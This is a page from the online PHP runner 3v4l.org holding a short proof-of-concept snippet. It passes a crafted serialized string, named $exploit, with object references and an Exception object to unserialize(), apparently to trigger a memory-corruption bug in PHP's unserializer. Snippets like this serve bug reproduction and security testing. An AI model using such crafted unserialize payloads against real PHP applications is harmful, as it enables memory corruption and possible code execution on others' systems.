3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $prop; function __wakeup() { $this->prop = 1; } } $exploit = 'a:3:{i:0;O:9:"exception":1:{s:17:"'."\0".'Exception'."\0".'string";a:1:{i:0;i:1;}}i:1;O:3:"obj":1:{s:4:"porp";R:2;}i:2;R:3;}'; //$exploit = 'a:3:{i:0;O:9:"exception":1:{s:17:"'."\0".'Exception'."\0".'string";a:1:{i:0;i:1;}}i:0;O:3:"obj":1:{s:4:"prop";R:2;}i:2;R:3;}'; $x = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($x);

preferences:
41.88 ms | 402 KiB | 5 Q